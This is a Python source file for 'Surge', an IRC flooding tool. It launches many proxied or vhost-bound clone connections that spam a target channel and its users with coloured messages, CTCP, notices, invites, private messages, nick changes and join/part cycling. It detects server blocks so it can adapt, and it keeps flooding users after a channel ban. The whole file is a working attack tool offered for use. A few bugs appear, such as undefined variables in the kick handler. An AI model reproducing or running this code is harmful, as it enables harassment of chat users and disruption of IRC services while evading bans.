#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 # Surge IRC Flooder - Developed by acidvegas in Python (https://acid.vegas/random-irc)
 # surge.py
 
 '''
 - Action
 - Color
 - CTCP Channel / CTCP Nick *(PING, TIME, VERSION)*
 - Cycle *(Join/Part)*
 - Hilight
 - Invite
 - Message / Private Message
 - Nick
 - Notice
 - Topic
 - Nick Registration (Channel & VHOST also if successful)
 
 The script uses IRC numeric detection and will stop a specific flood type if it becomes blocked.
 If the channel becomes locked out due to a ban or specific mode, it will continue to flood the nicklist.
 '''
 
 import argparse
 import concurrent.futures
 import os
 import random
 import ssl
 import socket
 import string
 import sys
 import threading
 import time
 
 class config:
 	class connection:
 		server    = 'irc.network.com'
 		port      = 6667
 		ipv6      = False
 		ssl       = False
 		password  = None
 		channel   = '#channel'
 		key       = None
 
 	class attacks:
 		channel  = ['action','color','ctcp','msg','nick','notice','part','topic']
 		message  = 'SURGE SURGE SURGE SURGE SURGE'
 		nicklist = ['ctcp','invite','notice','private']
 
 	class throttle:
 		attack      = 3
 		concurrency = 3
 		threads     = 100
 		rejoin      = 3
 		timeout     = 15
 
 # Bad IRC Numerics
 bad_numerics = {
 	'465' : 'ERR_YOUREBANNEDCREEP',
 	'471' : 'ERR_CHANNELISFULL',
 	'473' : 'ERR_INVITEONLYCHAN',
 	'474' : 'ERR_BANNEDFROMCHAN',
 	'475' : 'ERR_BADCHANNELKEY',
 	'477' : 'ERR_NEEDREGGEDNICK',
 	'519' : 'ERR_TOOMANYUSERS'
 }
 
 def alert(msg):
 	print(f'{get_time()} | [+] - {msg}')
 
 def debug(msg):
 	print(f'{get_time()} | [~] - {msg}')
 
 def error(msg, reason=None):
 	if reason:
 		print(f'{get_time()} | [!] - {msg} ({reason})')
 	else:
 		print(f'{get_time()} | [!] - {msg}')
 
 def error_exit(msg):
 	raise SystemExit(f'{get_time()} | [!] - {msg}')
 
 def get_time():
 	return time.strftime('%I:%M:%S')
 
 def keep_alive():
 	try:
 		while True:
 			input('')
 	except KeyboardInterrupt:
 		sys.exit()
 
 def random_int(min, max):
 	return random.randint(min, max)
 
 def random_str(size):
 	return ''.join(random.choice(string.ascii_letters) for _ in range(size))
 
 class clone:
 	def __init__(self, data_line):
 		self.data_line      = data_line
 		self.invite_channel = '#' + random_str(random_int(4,7))
 		self.invite_count   = 0
 		self.nickname       = random_str(random_int(4,7))
 		self.nicklist       = []
 		self.sock           = None
 
 	def run(self):
 		self.connect()
 
 	def action(self, chan, msg):
 		self.sendmsg(chan, f'\x01ACTION {msg}\x01')
 
 	def attack_channel(self):
 		while True:
 			if not config.attacks.channel:
 				error('Channel attack list is empty.')
 				break
 			else:
 				option = random.choice(config.attacks.channel)
 				try:
 					if option in ('nick','part','topic'):
 						if option == 'nick':
 							self.nickname = random_str(random_int(4,7))
 							self.nick(self.nickname)
 						elif option == 'part':
 							self.part(config.connection.channel, config.attacks.message)
 							time.sleep(config.throttle.rejoin)
 							self.join_channel(config.connection.channel, config.connection.key)
 						elif option == 'topic':
 							self.topic(config.connection.channel, '{0} {1} {2}'.format(random_str(random_int(5,10)), config.attacks.message, random_str(random_int(5, 10))))
 					else:
 						if self.nicklist:
 							message = self.rainbow('{0} {1} {2}'.format(' '.join(random.sample(self.nicklist, 3)), config.attacks.message, ' '.join(random.sample(self.nicklist, 3))))
 						else:
 							message = self.rainbow(config.attacks.message)
 						if option == 'action':
 							self.action(config.connection.channel, message)
 						elif option == 'ctcp':
 							self.ctcp(config.connection.channel, message)
 						elif option == 'msg':
 							self.sendmsg(config.connection.channel, message)
 						elif option == 'notice':
 							self.notice(config.connection.channel, message)
 					time.sleep(config.throttle.attack)
 				except:
 					break
 
 	def attack_nicklist(self):
 		while True:
 			if not self.nicklist:
 				error('Nicklist attack list is empty.')
 				break
 			else:
 				try:
 					for nick in self.nicklist:
 						option = random.choice(config.attacks.nicklist)
 						if option == 'ctcp':
 							self.ctcp(nick, random.choice(('PING','TIME','VERSION')))
 						elif option == 'invite':
 							self.invite(nick, self.invite_channel)
 							self.invite_count += 1
 							if self.invite_count >= 10:
 								self.part(self.invite_channel)
 								self.invite_channel = '#' + random_str(random_int(5,8))
 								self.join(self.invite_channel)
 						elif option == 'notice':
 							self.notice(nick, config.attacks.message)
 						elif option == 'private':
 							self.sendmsg(nick, self.rainbow(config.attacks.message))
 						time.sleep(config.throttle.attack)
 				except:
 					break
 
 	def connect(self):
 		try:
 			self.create_socket()
 			self.sock.connect((config.connection.server, config.connection.port))
 			self.register()
 		except socket.error:
 			self.sock.close()
 		else:
 			self.listen()
 
 	def create_socket(self):
 		family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
 		if pargs.proxy:
 			proxy_server, proxy_port = self.data_line.split(':')
 			self.sock = socks.socksocket(family, socket.SOCK_STREAM)
 			self.sock.setblocking(0)
 			self.sock.settimeout(config.throttle.timeout)
 			self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
 		elif pargs.vhost:
 			self.sock = socket.socket(family, socket.SOCK_STREAM)
 			self.sock.bind((self.data_line, 0))
 		if config.connection.ssl:
 			self.sock = ssl.wrap_socket(self.sock)
 
 	def ctcp(self, target, data):
 		self.sendmsg(target, f'\001{data}\001')
 
 	def event_connect(self):
 		alert(f'Successful connection. ({self.proxy_server}:{self.proxy_port})')
 		self.join_channel(config.connection.channel, config.connection.key)
 		self.join_channel(self.invite_channel)
 
 	def event_end_of_names(self):
 		threading.Thread(target=self.attack_channel).start()
 		threading.Thread(target=self.attack_nicklist).start()
 
 	def event_kick(self, chan, kicked):
 		if kicked == self.nickname:
 			time.sleep(config.throttle.rejoin)
 			self.join_channel(config.connection.channel, config.connection.key)
 		else:
 			if nick in self.nicklist:
 				self.nicklist.remove(nick)
 
 	def event_names(self, chan, names):
 		for name in names:
 			if name[:1] in '~!@%&+:':
 				name = name[1:]
 			if name != self.nickname and name not in self.nicklist:
 				self.nicklist.append(name)
 
 	def event_nick_in_use(self):
 		self.nickname = random_str(random_int(5,8))
 		self.nick(self.nickname)
 
 	def event_quit(self, nick):
 		if nick in self.nicklist:
 			self.nicklist.remove(nick)
 
 	def handle_events(self, data):
 		args = data.split()
 		if args[0] == 'PING':
 			self.raw('PONG ' + args[1][1:])
 		elif args[1] == '001':
 			self.event_connect()
 		elif args[1] == '353':
 			chan = args[4]
 			if ' :' in data:
 				names = data.split(' :')[1].split()
 			elif ' *' in data:
 				names = data.split(' *')[1].split()
 			elif ' =' in data:
 				names = data.split(' =')[1].split()
 			else:
 				names = data.split(chan)[1].split()
 			self.event_names(chan, names)
 		elif args[1] == '366':
 			self.event_end_of_names()
 		elif args[1] == '401':
 			name = args[3]
 			if name in self.nicklist:
 				self.nicklist.remove(name)
 		elif args[1] == '404':
 			if 'ACTIONs are not permitted' in data and 'action' in config.attacks.channel:
 				config.attacks.channel.remove('action')
 			elif 'Color is not permitted' in data and 'color' in config.attacks.channel:
 				config.attacks.channel.remove('color')
 			elif 'CTCPs are not permitted' in data and 'ctcp' in config.attacks.channel:
 				config.attacks.channel.remove('ctcp')
 			elif 'You need voice' in data or 'You must have a registered nick' in data:
 				for attack in ('action','ctcp','msg','notice','topic'):
 					if attack in config.attacks.channel:
 						config.attacks.channel.remove(attack)
 			elif 'NOTICEs are not permitted' in data and 'notice' in config.attacks.channel:
 				self.attacks_channel.remove('notice')
 		elif args[1] == '433':
 			self.event_nick_in_use()
 		elif args[1] == '447':
 			if 'nick' in config.attacks.channel:
 				config.attacks.channel.remove('nick')
 		elif args[1] == '482':
 			if 'topic' in config.attacks.channel:
 				config.attacks.channel.remove('topic')
 		elif args[1] == '492':
 			if 'ctcp' in config.attacks.nicklist:
 				config.attacks.nicklist.remove('ctcp')
 		elif args[1] == '499':
 			if 'topic' in config.attacks.channel:
 				config.attacks.channel.remove('topic')
 		elif args[1] == '518':
 			if 'invite' in config.attacks.nicklist:
 				config.attacks.nicklist.remove('invite')
 		elif args[1] in bad_numerics:
 			error('Flood protection has been enabled!', bad_numerics[args[1]])
 			self.sock.close()
 		elif args[1] == 'KICK':
 			chan   = args[2]
 			kicked = args[3]
 			self.event_kick(chan, kicked)
 		elif args[1] == 'QUIT':
 			nick = args[0].split('!')[0][1:]
 			self.event_quit(nick)
 
 	def invite(self, nick, chan):
 		self.raw(f'INVITE {nick} {chan}')
 
 	def join_channel(self, chan, key=None):
 		if key:
 			self.raw(f'JOIN {chan} {key}')
 		else:
 			self.raw('JOIN ' + chan)
 
 	def listen(self):
 		while True:
 			try:
 				data = self.sock.recv(1024).decode('utf-8')
 				for line in (line for line in data.split('\r\n') if line):
 					if len(line.split()) >= 2:
 						self.handle_events(line)
 			except (UnicodeDecodeError,UnicodeEncodeError):
 				pass
 			except:
 				break
 		self.sock.close()
 
 	def nick(self, nick):
 		self.raw('NICK ' + nick)
 
 	def notice(self, target, msg):
 		self.raw(f'NOTICE {target} :{msg}')
 
 	def part(self, chan, msg):
 		self.raw(f'PART {chan} :{msg}')
 
 	def rainbow(self, msg):
 		if 'color' in config.attacks.channel:
 			message = ''
 			for i in range(random_int(10,20)):
 				message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄')
 			message += '\x03{0:0>2} {1} '.format(random_int(2,13), msg)
 			for i in range(random_int(10,20)):
 				message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄')
 		else:
 			message = '{0} {1} {2}'.format(random_str(random_int(10,20)), msg, random_str(random_int(10,20)))
 		return message
 
 	def raw(self, msg):
 		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
 
 	def register(self):
 		if config.connection.password:
 			self.raw('PASS ' + config.connection.password)
 		self.raw('USER {0} 0 * :{1}'.format(random_str(random_int(5,8)), random_str(random_int(5,8))))
 		self.nick(self.nickname)
 
 	def sendmsg(self, target, msg):
 		self.raw(f'PRIVMSG {target} :{msg}')
 
 	def topic(self, chan, text):
 		self.raw(f'TOPIC {chan} :{text}')
 
 	def unicode(self, msg):
 		start = 0x1000
 		end   = 0x3000
 		message = ''
 		for i in range(random.randint(100,150)):
 			message = message + chr(random.randint(start, end))
 		message = message + msg
 		for i in range(random.randint(100,150)):
 			message = message + chr(random.randint(start, end))
 
 
 # Main
 print('#'*56)
 print('#{0}#'.format(''.center(54)))
 print('#{0}#'.format('Surge IRC Flooder'.center(54)))
 print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
 print('#{0}#'.format('https://acid.vegas/trollbots'.center(54)))
 print('#{0}#'.format(''.center(54)))
 print('#'*56)
 parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
 parser.add_argument('input',         help='file to scan')
 parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
 parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
 pargs = parser.parse_args()
 if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
 	error_exit('Invalid arguments.')
 if pargs.proxy:
 	try:
 		import socks
 	except ImportError:
 		error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
 if not os.path.isfile(pargs.input):
 	error_exit('No such input file.')
 data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
 debug(f'Loaded {len(data_lines)} lines from file.')
 random.shuffle(data_lines)
 for i in range(config.throttle.concurrency):
 	with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
 		checks = {executor.submit(clone(line).connect): line for line in data_lines}
 		for future in concurrent.futures.as_completed(checks):
 			checks[future]
 debug('Flooding is complete.')

© 2023 acidvegas, inc • generated with stagit